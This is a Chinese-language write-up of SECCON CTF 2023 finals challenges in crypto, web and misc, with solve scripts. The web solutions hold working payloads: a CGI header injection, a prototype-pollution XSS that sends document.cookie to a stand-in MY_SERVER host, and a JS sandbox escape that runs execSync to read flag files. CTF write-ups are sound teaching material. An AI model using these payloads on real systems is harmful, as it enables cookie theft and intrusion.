SECCON CTF 2023 Final Writeups

這次作為 ${cYsTiCk} 的一員去日本參加了 12/23-12/24 的 SECCON CTF 決賽,不過因為有在那邊多留兩周後又再家耍廢了一個禮拜,所以到現在才想到要寫一下 writeup XD。writeup 部分我是只寫主要靠我解掉的幾題而已,其他的可以看看我隊友的文章

crypto

Pailler 4.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import os
from dataclasses import dataclass
from secrets import randbelow
from typing import Optional

from Crypto.Util.number import bytes_to_long, getPrime

from sage.algebras.quatalg.quaternion_algebra_element import QuaternionAlgebraElement_generic


@dataclass
class Pubkey:
n: int
g: QuaternionAlgebraElement_generic

def __repr__(self) -> str:
return "n = {self.n}\ng = {self.g}" # Oh, I forgot f-string...


@dataclass
class Privkey:
l: int
pubkey: Pubkey

@classmethod
def generate(cls, pbits: int = 1024) -> "Privkey":
p = getPrime(pbits)
q = getPrime(pbits)
n = p * q
Q = QuaternionAlgebra(Zmod(n**2), -1, -1)
g = 1 + Q.random_element() * n
l = lcm(p - 1, q - 1)
return Privkey(l=l, pubkey=Pubkey(n=n, g=g))

def export_pubkey(self) -> Pubkey:
return Pubkey(n=self.pubkey.n, g=self.pubkey.g)


class Paillier:
def __init__(self, privkey: Optional[Privkey], pubkey: Pubkey) -> None:
self.privkey = privkey
self.pubkey = pubkey

@classmethod
def from_privkey(cls, privkey: Privkey) -> "Paillier":
return Paillier(privkey=privkey, pubkey=privkey.export_pubkey())

@classmethod
def from_pubkey(cls, pubkey: Pubkey) -> "Paillier":
return Paillier(privkey=None, pubkey=pubkey)

def encrypt(self, m: int):
n = self.pubkey.n
g = self.pubkey.g
assert 1 <= m < n
return g**m * pow(randbelow(n**2), n, n**2)

def L(self, u: QuaternionAlgebraElement_generic):
n = self.pubkey.n
g = self.pubkey.g
Q = g.parent()
i, j, k = Q.gens()
return (
int(u[0] - 1) // n
+ int(u[1]) // n * i
+ int(u[2]) // n * j
+ int(u[3]) // n * k
)

def decrypt(self, c):
if self.privkey is None:
raise RuntimeError("privkey is not defined")
n = self.pubkey.n
g = self.pubkey.g
l = self.privkey.l
Q = g.parent()
i, j, k = Q.gens()
tmp = self.L(c**l) * self.L(g**l) ** -1
return (
int(tmp[0] % n)
+ int(tmp[1] % n) * i
+ int(tmp[2] % n) * j
+ int(tmp[3] % n) * k
)


if __name__ == "__main__":
privkey = Privkey.generate(1024)
pubkey = privkey.export_pubkey()
print(pubkey)
paillier = Paillier.from_privkey(privkey)
m1 = bytes_to_long(b"I have implemented Paillier 4.0. Can you break it?")
m2 = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
c1 = paillier.encrypt(m1)
c2 = paillier.encrypt(m2)
print(f"{c1 = }")
print(f"{c2 = }")

反正就一個在 下的四元數做 paillier 加密的一個題目。因為它沒給 ,需要先想辦法找出來。

首先要注意到 ,可注意到它 ,而密文 之下也就是 。因為 因此 component 在 下都會是 ,因此 gcd 即可還原

因為題目有提供一個已知明文 和 flag 的密文 ,用 ,可以推得 ,然後再用 來回推即可得到原本的

接下來它提供的 L 函數其實和原本 paillier 是一樣的,就是利用 的性質來計算 discrete log。因此就用一樣的方法求 之後套用 L 函數即可得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from Crypto.Util.number import *

i, j, k = QuaternionAlgebra(QQ, -1, -1).gens()
c1 = (
189146596689678534930657507389944284468488107240288605909197912201660856998268595857044483126765254204607561979667696823780094323605831173341131185451095827961974657320699801365535892652008629810492631319120676225694026021921473865863024969368910303696390015562430421049349114071773991177762773464679316870980876977686666855807332186848058678245373535005961682370552677053861029506581913980110373827901307233179244235202243031174173512515361800009857253300114079167816860057026075343836378542262536740363654132714971319930425403814111676892852082395558608670902630424317844748964279418048832907526306028619221958527742640786665813521788876170444556529860805085876769718758658671148365899678266785037483417326933260674320990814096707344631269313345501026674224091995002566546845812920972238704671529403192559802762074971627065020510369861068450614373478551819439697293240682440543948239483530476534310358291243899391023912588729055117972281759671793056180654218529502864409430851949645496003060620073997323651251418800006269638163922513847640920427464158479039359553243353188432374057727068915052795264913158336903153651169982577420892740945177282968764703805878728995869936258865320888806665158381666989783279873384467290795689854113
+ 159422453855839107969569050043111924378782512353662158097555530081065228239439150228804622489649734610074362158985473003354221851138418990789843575296473276995526434929421772247473565690114755816821848591281095238123387694109768501184937676517954202256920282987407499465504050296677413105358981123505518685105550180839694143745462914884741297306408583180764594750474787331278709883082457865068681533863559465700892859712589251625506033665577735140860828872174451058783234015868867785828962375739377763524670263494963751526040731027426300994670706114402103689783786516275326935940214423441678176308546728625674451381910316503231282898509560474012828864195580399386226905804415491610241049432673790249460289600738049671068987752876442486436729340418527359135900888369281879772473979747201333185180609387675576752892765354956616458099191011185104019183060864284006871921299407664180437341866001050750005470292132586820399436117963937861063882759907457400890935676136272800725704694983718578284459089871138394761488709761247421563190927061411874151193939617535173468856456146032540817642092476790385832012750987821835704394191508225176683766249213060401912800486859625016591155866280688072763525710527297989127521010127433165478830941817
* i
+ 187623816199491298929359182934085226415070915256202587324993994923281509773462861079689635893814873291883739439631895995019843365698225877873129060282579872095656155797235671453812960164842775969497855145376019034353214142234929838983495429753411675088233825923109926989151980954600726857923746492644378131880521765527613689926608367600914462828146507912615962951977005207914108826513118567119842148736574975619033628056063174491506828930626401152179456114077790384110260925763362057554193522341161444642415672425967265445119110122988483213369137437528699354992414173792355682379549151745141424595354031052213553312720413049508425634081960409132168458626444177310841834360058702543282950271135554721532965478215318870453959765465954657746116251578964196637358799826880168701508894356927569344736897502699965702265443381644905562901690655292307405703622427007033019235783542646988807629337886727319863632752491616033522045295663481494683759467480952931817747495594299026330913717415571754297422928091598496370877736297815866959021544309548121905263216441406709476821439234356234706057117326291506583297717031984509505422493821869111060952894078828939060421661081486444197327339800174022825222595603630105833989855525645422085730674564
* j
+ 108983832324298911213259107877413932946363222090021725824918906056215745302344420551204152231953729651169827978022341384921363268398863382842767641583469828560829815026849233122683970345772500535043316957591130641837866960704879727012137376610770020525841179712472063136667679110398730347242964281862081661521053599896797669209505444363840146338899663555883984646457358923987569487024071313633576757768768817706060883698724823167271778010848182708077407382439629779354954282990536565649220692045379924761967467614268986295830964173640529377522633216514323962693861739695620703200405765094125260029042426346110145892492750560269547608428943171799274041760027341512550373527388410918043906894068241463637804244867735784670531920830427644772678282293033315500463081788329363287536393697637504953775578394372137098033761764675304328956899198452407492013747106406193303367851430716384001567253558105344516962055539711765876022918579274453806342647159866874122105836627519222785409300831622024331926259832994621579381838393969640739647674914856843673465538468722740357164013024604891572811759995849705986784685354791575945252814432692980150793094758286455471240703326750705134680002007552172212048492713711296343411989751556616097691472886
* k
)
c2 = (
86219718266904761398669400869850246784979375496030637035288295353189453067766725033422476038896248982241100669461661297802396978010746153640029767262870320897194919490826132305901873187423033699178088010951277367251496838717058535820404506883970041012368716101389488127250260245101472029452131360335437760537762538487771297840257043319368858446525491231801822266893408542561691924321234377663038077154890676142691375455698618357010611398164565760941981743010051093925210687645019434438534456537037742256714240599815459686418722187615193759703721367665787215521067929853700537753302391198777519129734661993648921740240357025798798706760243777604671957311915626478425526896553420143154032082593440771887256202026017154984732830890447276281770696548102554648916038622905603861367237151535066602702621935453593146737973794330996087634650833572538883360270301384985003603283310102960915654703731536039508294268354748154322515620117950356046993722827561878865915964021290101324112092056360488260632904393442087541370097356165904797972786650982394809499420695141565901862666037208421294834181894635588110829281254139866214589789937604876710559894531773693513253615384678625195339656902456917325250361282804135326827093351532459760601839428
+ 117054910725352927152954707158545932567372361642285004993114012986829421306179984070148177646729931523282578663731756845490868840124859732416249534497296591658577429815841323784653557664286060526584920474641678611491154052977907087762970527833374328722933082141137952738249521548630555294927021597379676715564873946701751229456740753076037446249661183932191707005143775324621425132715548146998548361658766985025165556120105739877724488495557082489885983738028638417642106757781493694229677197625754998579507288085495746440044951052143778688968468424843237961423717593401897115614902734926783906666127800456081501383424175585031033145674849111649138772893539198722278630438976076814107039077450496425454293336255754967196215581548880976066132130961108306387082335423133634754616580736864413539696735238789195673624113132920602408936492608097637718193827226672537917838822521233982679217313380722619714529225002533498709991277566125656295648047828882775579398531344170522575799766494302252389832871526177828308927401118825488943352391675934025045942416116887512805600627175873583536950820991752455514294168386808344591770738525214186851727668357035105477909941209200336263341123944810521631781066674601689604189825431920483646305959585
* i
+ 92345257110099358724431302312369402163330316382555448933909585233861251186510957204549115902867389772165678173559996028911980257862633715040688322898905423998255567564599598071097809537111423173973036470534222529337844682911982824638473091384071409274922662970946165921061951939942298978319289884098189085890294063185559808951684858963604173045559882719018822278488749762751794384294285983285955342173932281432331257764645484597656120974857428513672990550775470434748333246481999528041929685439321287460410615808078730042412677621841202237965311169407832871645441374815638746696619772089752127329254711373179036589534609668994277492120692090878598825983907313436148623503677406409697422234464304764296352912448876077041244056566202211554497434768706424310036087086161073559877149782469427246116961563251003701361319094692924942237807482264735015230259929819553855417042319416469221085994715569600300005650823896406786465198528505570768223321803202284506227367545420384756419029295204861272269263450781302874115717621510203092484552663439084207772409785606480255709458029081686718743144992333376307430207101396779094139623571139183550543447450301735278962985132368289625009256101657583838683799786443358949988515696800564025119116609
* j
+ 122488568601402784451819032638780912895128169996737548955267892210865529500117097756916051234140403362941640967296275011258430454026954532827911984707868161093903490372306430402098822794181913222580715537461028856010232195747240764866904393429104960026870206602923056757241151894408163703517729550859962949893716021499073123229401788259785010482000899688648483047499137591135359341058204846634872446500949129415734308674619419298447343637826761796808390241385451759091274776830675731278219386457219839641683452586176761545289098461146228441907615640923642607634309424610616780306442009740253419466232056306312602052844095851382222227944901310658313126015474732679472765960186488315614268404874359834789433523786077436241976025907449925177263698751668541669935898577422622350071130782232751861016037733261383458204466069764928709376487097930236316358028420462969105771243038438013059257534537751023566706602384544332305621521947855047465105701790105297243424012536440482412328095810045412182269600181269831588582004165149999616680304894629360268885452104970486463954411395189633450307352197153316124500262183798809005094000245516105050216614590136434328536196583595010243277807391452050728021474145863981530042039541913753951040294031
* k
)

n1 = gcd(gcd(c1[1], c1[2]), c1[3])
n2 = gcd(gcd(c2[1], c2[2]), c2[3])
n = int(gcd(n1, n2))
print(n)

i, j, k = QuaternionAlgebra(Zmod(n**2), -1, -1).gens()
c1 = (
189146596689678534930657507389944284468488107240288605909197912201660856998268595857044483126765254204607561979667696823780094323605831173341131185451095827961974657320699801365535892652008629810492631319120676225694026021921473865863024969368910303696390015562430421049349114071773991177762773464679316870980876977686666855807332186848058678245373535005961682370552677053861029506581913980110373827901307233179244235202243031174173512515361800009857253300114079167816860057026075343836378542262536740363654132714971319930425403814111676892852082395558608670902630424317844748964279418048832907526306028619221958527742640786665813521788876170444556529860805085876769718758658671148365899678266785037483417326933260674320990814096707344631269313345501026674224091995002566546845812920972238704671529403192559802762074971627065020510369861068450614373478551819439697293240682440543948239483530476534310358291243899391023912588729055117972281759671793056180654218529502864409430851949645496003060620073997323651251418800006269638163922513847640920427464158479039359553243353188432374057727068915052795264913158336903153651169982577420892740945177282968764703805878728995869936258865320888806665158381666989783279873384467290795689854113
+ 159422453855839107969569050043111924378782512353662158097555530081065228239439150228804622489649734610074362158985473003354221851138418990789843575296473276995526434929421772247473565690114755816821848591281095238123387694109768501184937676517954202256920282987407499465504050296677413105358981123505518685105550180839694143745462914884741297306408583180764594750474787331278709883082457865068681533863559465700892859712589251625506033665577735140860828872174451058783234015868867785828962375739377763524670263494963751526040731027426300994670706114402103689783786516275326935940214423441678176308546728625674451381910316503231282898509560474012828864195580399386226905804415491610241049432673790249460289600738049671068987752876442486436729340418527359135900888369281879772473979747201333185180609387675576752892765354956616458099191011185104019183060864284006871921299407664180437341866001050750005470292132586820399436117963937861063882759907457400890935676136272800725704694983718578284459089871138394761488709761247421563190927061411874151193939617535173468856456146032540817642092476790385832012750987821835704394191508225176683766249213060401912800486859625016591155866280688072763525710527297989127521010127433165478830941817
* i
+ 187623816199491298929359182934085226415070915256202587324993994923281509773462861079689635893814873291883739439631895995019843365698225877873129060282579872095656155797235671453812960164842775969497855145376019034353214142234929838983495429753411675088233825923109926989151980954600726857923746492644378131880521765527613689926608367600914462828146507912615962951977005207914108826513118567119842148736574975619033628056063174491506828930626401152179456114077790384110260925763362057554193522341161444642415672425967265445119110122988483213369137437528699354992414173792355682379549151745141424595354031052213553312720413049508425634081960409132168458626444177310841834360058702543282950271135554721532965478215318870453959765465954657746116251578964196637358799826880168701508894356927569344736897502699965702265443381644905562901690655292307405703622427007033019235783542646988807629337886727319863632752491616033522045295663481494683759467480952931817747495594299026330913717415571754297422928091598496370877736297815866959021544309548121905263216441406709476821439234356234706057117326291506583297717031984509505422493821869111060952894078828939060421661081486444197327339800174022825222595603630105833989855525645422085730674564
* j
+ 108983832324298911213259107877413932946363222090021725824918906056215745302344420551204152231953729651169827978022341384921363268398863382842767641583469828560829815026849233122683970345772500535043316957591130641837866960704879727012137376610770020525841179712472063136667679110398730347242964281862081661521053599896797669209505444363840146338899663555883984646457358923987569487024071313633576757768768817706060883698724823167271778010848182708077407382439629779354954282990536565649220692045379924761967467614268986295830964173640529377522633216514323962693861739695620703200405765094125260029042426346110145892492750560269547608428943171799274041760027341512550373527388410918043906894068241463637804244867735784670531920830427644772678282293033315500463081788329363287536393697637504953775578394372137098033761764675304328956899198452407492013747106406193303367851430716384001567253558105344516962055539711765876022918579274453806342647159866874122105836627519222785409300831622024331926259832994621579381838393969640739647674914856843673465538468722740357164013024604891572811759995849705986784685354791575945252814432692980150793094758286455471240703326750705134680002007552172212048492713711296343411989751556616097691472886
* k
)
c2 = (
86219718266904761398669400869850246784979375496030637035288295353189453067766725033422476038896248982241100669461661297802396978010746153640029767262870320897194919490826132305901873187423033699178088010951277367251496838717058535820404506883970041012368716101389488127250260245101472029452131360335437760537762538487771297840257043319368858446525491231801822266893408542561691924321234377663038077154890676142691375455698618357010611398164565760941981743010051093925210687645019434438534456537037742256714240599815459686418722187615193759703721367665787215521067929853700537753302391198777519129734661993648921740240357025798798706760243777604671957311915626478425526896553420143154032082593440771887256202026017154984732830890447276281770696548102554648916038622905603861367237151535066602702621935453593146737973794330996087634650833572538883360270301384985003603283310102960915654703731536039508294268354748154322515620117950356046993722827561878865915964021290101324112092056360488260632904393442087541370097356165904797972786650982394809499420695141565901862666037208421294834181894635588110829281254139866214589789937604876710559894531773693513253615384678625195339656902456917325250361282804135326827093351532459760601839428
+ 117054910725352927152954707158545932567372361642285004993114012986829421306179984070148177646729931523282578663731756845490868840124859732416249534497296591658577429815841323784653557664286060526584920474641678611491154052977907087762970527833374328722933082141137952738249521548630555294927021597379676715564873946701751229456740753076037446249661183932191707005143775324621425132715548146998548361658766985025165556120105739877724488495557082489885983738028638417642106757781493694229677197625754998579507288085495746440044951052143778688968468424843237961423717593401897115614902734926783906666127800456081501383424175585031033145674849111649138772893539198722278630438976076814107039077450496425454293336255754967196215581548880976066132130961108306387082335423133634754616580736864413539696735238789195673624113132920602408936492608097637718193827226672537917838822521233982679217313380722619714529225002533498709991277566125656295648047828882775579398531344170522575799766494302252389832871526177828308927401118825488943352391675934025045942416116887512805600627175873583536950820991752455514294168386808344591770738525214186851727668357035105477909941209200336263341123944810521631781066674601689604189825431920483646305959585
* i
+ 92345257110099358724431302312369402163330316382555448933909585233861251186510957204549115902867389772165678173559996028911980257862633715040688322898905423998255567564599598071097809537111423173973036470534222529337844682911982824638473091384071409274922662970946165921061951939942298978319289884098189085890294063185559808951684858963604173045559882719018822278488749762751794384294285983285955342173932281432331257764645484597656120974857428513672990550775470434748333246481999528041929685439321287460410615808078730042412677621841202237965311169407832871645441374815638746696619772089752127329254711373179036589534609668994277492120692090878598825983907313436148623503677406409697422234464304764296352912448876077041244056566202211554497434768706424310036087086161073559877149782469427246116961563251003701361319094692924942237807482264735015230259929819553855417042319416469221085994715569600300005650823896406786465198528505570768223321803202284506227367545420384756419029295204861272269263450781302874115717621510203092484552663439084207772409785606480255709458029081686718743144992333376307430207101396779094139623571139183550543447450301735278962985132368289625009256101657583838683799786443358949988515696800564025119116609
* j
+ 122488568601402784451819032638780912895128169996737548955267892210865529500117097756916051234140403362941640967296275011258430454026954532827911984707868161093903490372306430402098822794181913222580715537461028856010232195747240764866904393429104960026870206602923056757241151894408163703517729550859962949893716021499073123229401788259785010482000899688648483047499137591135359341058204846634872446500949129415734308674619419298447343637826761796808390241385451759091274776830675731278219386457219839641683452586176761545289098461146228441907615640923642607634309424610616780306442009740253419466232056306312602052844095851382222227944901310658313126015474732679472765960186488315614268404874359834789433523786077436241976025907449925177263698751668541669935898577422622350071130782232751861016037733261383458204466069764928709376487097930236316358028420462969105771243038438013059257534537751023566706602384544332305621521947855047465105701790105297243424012536440482412328095810045412182269600181269831588582004165149999616680304894629360268885452104970486463954411395189633450307352197153316124500262183798809005094000245516105050216614590136434328536196583595010243277807391452050728021474145863981530042039541913753951040294031
* k
)


def L(n, g, u):
Q = g.parent()
i, j, k = Q.gens()
return (
int(u[0] - 1) // n
+ int(u[1]) // n * i
+ int(u[2]) // n * j
+ int(u[3]) // n * k
)


m1 = bytes_to_long(b"I have implemented Paillier 4.0. Can you break it?")
r1 = c1[0] % n
Gm = c1 * inverse_mod(r1, n**2)
g = Gm ** inverse_mod(m1, n)

r2 = c2[0] % n
Gm = c2 * inverse_mod(r2, n**2)
rec_m = (L(n, g, Gm)[1] / L(n, g, g)[1]) % n
print(long_to_bytes(int(rec_m)))
# SECCON{Please help me to improve and make it secure, Paillier 4.1...}

web

babywaf

這題有個 proxy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const app = require("fastify")();
const PORT = 3001;

app.register(require("@fastify/http-proxy"), {
upstream: "http://localhost:3000",
preValidation: async (req, reply) => {
// WAF???
try {
const body =
typeof req.body === "object" ? req.body : JSON.parse(req.body);
if ("givemeflag" in body) {
reply.send("🚩");
}
} catch {}
},
replyOptions: {
rewriteRequestHeaders: (_req, headers) => {
console.log(headers);
headers["content-type"] = "application/json";
return headers;
},
},
});

app.listen({ port: PORT, host: "0.0.0.0" });

和 backend:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require("express");
const fs = require("fs/promises");

const app = express();
const PORT = 3000;

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

app.use(express.json());

app.post("/", async (req, res) => {
if ("givemeflag" in req.body) {
res.send(FLAG);
} else {
res.status(400).send("🤔");
}
});

app.get("/", async (_req, res) => {
const html = await fs.readFile("index.html");
res.type("html").send(html);
});

app.listen(PORT);

總之就是要送個 key 有 givemeflag 的 body 給 backend。

一開始先去讀 fastify source code 發現 Content-Type 只能是 application/json 或是 text/plain,然後做一些實驗發現在 text/plain + Content-Encoding: deflate 的時候可以讓我繞過檢查。

然而有個問題是在於 fastify 內部是用 javascript string 處理資料的,所以一般的 binary data 因為 utf-16 的問題會被弄亂,所以需要想辦法生一個純 ASCII 的 deflate 資料。我這邊是拿 Arusekk/ascii-zip 來改,讓它能生出指定 json 的 ascii deflate data。

完整 payload 可以參考這個 gist

不過參考作者 writeup 才發現原來預期解是利用 fastify & express 都會接受 JSON + BOM 但 JSON.parse 不接受 BOM 的性質去繞的。

cgi-2023

go backend:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
"fmt"
"net/http"
"net/http/cgi"
"strings"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if q := r.URL.Query().Get("q"); q != "" && !strings.Contains(strings.ToLower(q), "status") {
fmt.Print(q)
}

flag, err := r.Cookie("FLAG")
if err != nil {
fmt.Fprint(w, "Hello gophers👋")
} else {
fmt.Fprint(w, flag.Value)
}
})

cgi.Serve(nil)
}

apache config:

1
2
3
4
5
6
7
8
9
10
LoadModule cgid_module modules/mod_cgid.so

ServerName main
Listen 3000

ScriptAliasMatch / /usr/local/apache2/cgi-bin/index.cgi
AddHandler cgi-script .cgi
CGIDScriptTimeout 1

Header always set Content-Security-Policy "default-src 'none';"

很有趣的 CGI 題目,目標是 leak bot 的 flag cookie。這邊的關鍵在於 CGI 本身是透過 stdout 溝通的,所以 fmt.Print(q) 那行讓我們可以 inject header 和 body,但是因為有 CSP 所以沒辦法執行 JS。我的作法是透過注入 Content-Security-Policy-Report-Onlyscript-sample 結合 <style> 去 leak flag,但因為有 http status line 和 content type 太長,導致它沒辦法在 40 個字元內包含到 flag。

1
http://web:3000/?q=Content-Security-Policy-Report-Only:%20default-src%20%27report-sample%27%3B%20report-uri%20https://MY_SERVER/xx%0aContent-Type:text/html%3Bcharset=utf-16%0a%0a%3C%00s%00t%00y%00l%00e%00%3E%00

此時我就突然想到字元指的是 bytes? 還是其他的東西? 所以就加上了一個 Content-Type: text/html; charset=utf-16,然後我的 server 就收到一串 utf-16 的亂碼。但我們知道那其實是一堆 ASCII (or UTF-8) 的 bytes 以 utf-16 解讀出來的結果,所以就用 python 做個小轉換就得到 flag 了:

1
2
3
s = "\u4553\u4343\u4e4f\u6c7b\u6165\u796b\u735f\u6972"  # script-sample
print(s.encode('utf-16'))
# SECCON{leaky_sri}

理論上這邊如果用 utf-32 就應該可以 leak 出 160 bytes 的資料了。

不過我上面的解法是 unintended,作者的預期解是透過 CSP + SRI hash 去 leak flag。

另外還有個解法是用 %0d 去 bypass status check,然後可以透過 100 Continue103 Early Hints 去繞過 apache 加的 csp header。

LemonMD

這題是一個用 Deno Fresh (~= Next.js for Deno) 的題目,它主要是有個頁面會 display markdown 的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import type { Signal } from "@preact/signals";
import { render } from "$gfm";

interface PreviewProps {
text: Signal<string>;
}

export default function Preview(props: PreviewProps) {
return (
<div
class="markdown-body"
dangerouslySetInnerHTML={{ __html: render(props.text.value) }}
/>
);
}

結合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import type { Handlers, PageProps } from "$fresh/server.ts";
import { useSignal } from "@preact/signals";
import Preview from "../islands/Preview.tsx";
import db from "../utils/db.ts";
import redirect from "../utils/redirect.ts";

interface Data {
text: string;
}

export const handler: Handlers = {
async GET(_req, ctx) {
const id = ctx.params.id;
const text = db.getById(id);
return text == null ? redirect("/") : await ctx.render({ text });
},
};

export default function Page(props: PageProps<Data>) {
const text = useSignal(props.data.text);
return <Preview text={text}></Preview>;
}

而這邊的 $gfmhttps://deno.land/x/gfm@0.2.5/mod.ts,而在轉換完 html 後還使用了 sanitize-html 去過濾掉一些東西。所以除了找到 0day 以外應該是沒辦法直接 XSS。

這邊有個關鍵是 Deno Fresh 是個 SSR Framework,所以上面那個 dangerouslySetInnerHTML 的 html 也是直接包含在 server 回傳的 html 中的,例如 hello **world** 會被 render 成這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<body>
<main>
<!--frsh-preview_default:0:-->
<div class="markdown-body">
<p>hello <strong>world</strong></p>
</div>
<!--/frsh-preview_default:0:-->
</main>
<script id="__FRSH_STATE" type="application/json" nonce="1b7e34cbcf524db4b89fd024e2876562">
{ "v": [[{ "text": { "_f": "s", "v": "hello **world**\r\n" } }], []] }
</script>
<script type="module" nonce="1b7e34cbcf524db4b89fd024e2876562">
import { deserialize } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/deserializer.js'
import { signal } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/signals.js'
const ST = document.getElementById('__FRSH_STATE').textContent
const STATE = deserialize(ST, signal)
import { revive } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/main.js'
import preview_default from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/island-preview.js'
const propsArr = typeof STATE !== 'undefined' ? STATE[0] : []
revive({ preview_default: preview_default }, propsArr)
</script>
</body>

可以注意到 render 的地方在 __FRSH_STATE 的上面,所以說不定可以 dom clobbering 來搞事,尤其是它那個函數就叫 deserialize,看起來就很有問題。所以找到 deserialize 之後很快就發現它有個 prototype pollution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<h1 id="__FRSH_STATE">
{
"r":[
[
[1,0,"val1"],
["__proto__","__proto__","a"]
]
],
"v":[
[
{"text":{"_f":"s","v":"aaa"}}
],
[
{"val1": 123}
]
]
}
</h1>

然後 Object.prototype.a === 123,所以就只剩下找 pp gadget 而已。

稍微測試一下可以發現它 SSR render 的東西其實也只是個 cache,實際還是會在 client side 呼叫一次 deno-gfm 去轉換 markdown -> html,因此透過汙染 disableHtmlSanitization 就能把 deno-gfm 的 html sanitization 停用,所以就有 XSS 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<h1 id="__FRSH_STATE">
{
"r":[
[
[1,0,"val1"],
["__proto__","__proto__","disableHtmlSanitization"]
]
],
"v":[
[
{"text":{"_f":"s","v":"asd\u003ciframe srcdoc='\u003cscript\u003elocation.href=`//MY_SERVER/flag?`+document.cookie\u003c/script\u003e'\u003e\u003c/iframe\u003e"}}
],
[
{"val1": true}
]
]
}
</h1>
// SECCON{Do_not_m1x_HTML_injecti0n_and_I5lands_Archit3cture}

misc

whitespace.js

1
2
3
4
5
6
7
8
9
10
11
12
13
const WHITESPACE = " ";

const code = [...process.argv[2].trim()].join(WHITESPACE);
if (code.includes("(") || code.includes(")")) {
console.log("Do not call functions :(");
process.exit();
}

try {
console.log(eval(code));
} catch {
console.log("Error");
}

基本就是把你輸入的 code 中間插入很多空白字元,如果沒有括號就 eval 的一個題目。

首先是可以很簡單的湊一些簡單的字元,如 a='a'[1]; 會被變成 a = ' a ' [ 1 ] ;,之後再用 [][c+o+n+s+t+r+u+c+t+u+r+e] 之類的東西去湊,看能不能 call 到 Function 達成 eval。不過在我試過做了許多嘗試後都沒辦法做到,因此後來換了一條路線。

這邊是先利用 Function constructor 建立一個 function 去讀它自己的 caller,也就是 common js 的 wrapper function,然後從上面的 arguments 就能讀到 requiremodule 等物件。然而因為 requireModule._load 都只接受 string,所以這邊還沒辦法任意 require module 來用。

不能 require,但我發現有個 Module.runMain 函數存在,只要把 Module._cache 清除掉之後再呼叫它就會重新執行一次 main module。因此我只要找到方法把 Array.prototype.join 控制成會回傳任意 string 且覆蓋掉 String.prototype.includes 的話就能達成任意 eval。

後來讀 st98 的 writeup ("2度目の呼び出し" 那個章節) 才發現其實直接再 call 一次 common js wrapper function 即可 XD

然後繞過 includes 的部分很簡單,就直接 String.prototype.includes = Function('') 即可搞定,比較複雜的部分是要怎麼控制 code

我這邊是透過 Array.prototype.join = RegExp.prototype.toString,然後再覆蓋 Array.prototype.sourceArray.prototype.flags 的值就能做到了。這是因為 RegExp.prototype.toString 所做的事大概就只有 return `/${this.source}/${this.flags}`;

st98 的方法比較不同,是透過 String.prototype.trim = Array.prototype.concat 讓他 join whitespace 失效。

因此把這些全部串起來之後就能解這題了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$$ = s => [...s].join('+')
input =
"a='a'[1];b='b'[1];c='c'[1];d='d'[1];e='e'[1];f='f'[1];g='g'[1];h='h'[1];i='i'[1];j='j'[1];k='k'[1];l='l'[1];m='m'[1];n='n'[1];o='o'[1];p='p'[1];q='q'[1];r='r'[1];s='s'[1];t='t'[1];u='u'[1];v='v'[1];w='w'[1];x='x'[1];y='y'[1];z='z'[1];A='A'[1];B='B'[1];C='C'[1];D='D'[1];E='E'[1];F='F'[1];G='G'[1];H='H'[1];I='I'[1];J='J'[1];K='K'[1];L='L'[1];M='M'[1];N='N'[1];O='O'[1];P='P'[1];Q='Q'[1];R='R'[1];S='S'[1];T='T'[1];U='U'[1];V='V'[1];W='W'[1];X='X'[1];Y='Y'[1];Z='Z'[1];_='_'[1];" +
"點='.'[1];空='';斜='/'[1];分=';'[1];引=\"'\"[1];星='*'[1];" +
`函=[][${$$('constructor')}][${$$('constructor')}];` +
`暫=函\`\`+'';左=暫[9+9];右=暫[9+9+2];` +
`暫=函\`C=暫[${$$('caller')}]\`;暫\`\`;取=C[${$$('arguments')}][1];模=C[${$$('arguments')}][2];` +
`""[${$$('__proto__')}][${$$('includes')}]=函\`\`;` +
`[][${$$('__proto__')}][${$$('source')}]=${$$(
'a斜分require左引child_process引右點execSync左引cat空斜f星引右點toString左右斜'
)};` +
`[][${$$('__proto__')}][${$$('flags')}]=空;` +
`[][${$$('__proto__')}][${$$('join')}]=/x/[${$$('__proto__')}][${$$('toString')}][${$$('bind')}]\`\`;` +
`摩=模[${$$('constructor')}];摩[${$$('_cache')}]={};摩[${$$('runMain')}][${$$('call')}]\`\`;`

code = [...input.trim()].join(' ')
console.log(code)
if (code.includes('(') || code.includes(')')) {
console.log('Do not call functions :(')
process.exit()
}

console.log(eval(code))

fetch('http://whitespace-js.int.seccon.games:3000/', {
headers: {
'Content-Type': 'application/json'
},
method: 'POST',
body: JSON.stringify({ expr: input })
})
.then(r => r.text())
.then(console.log)

// SECCON{P4querett3_Down_the_Bunburr0ws}

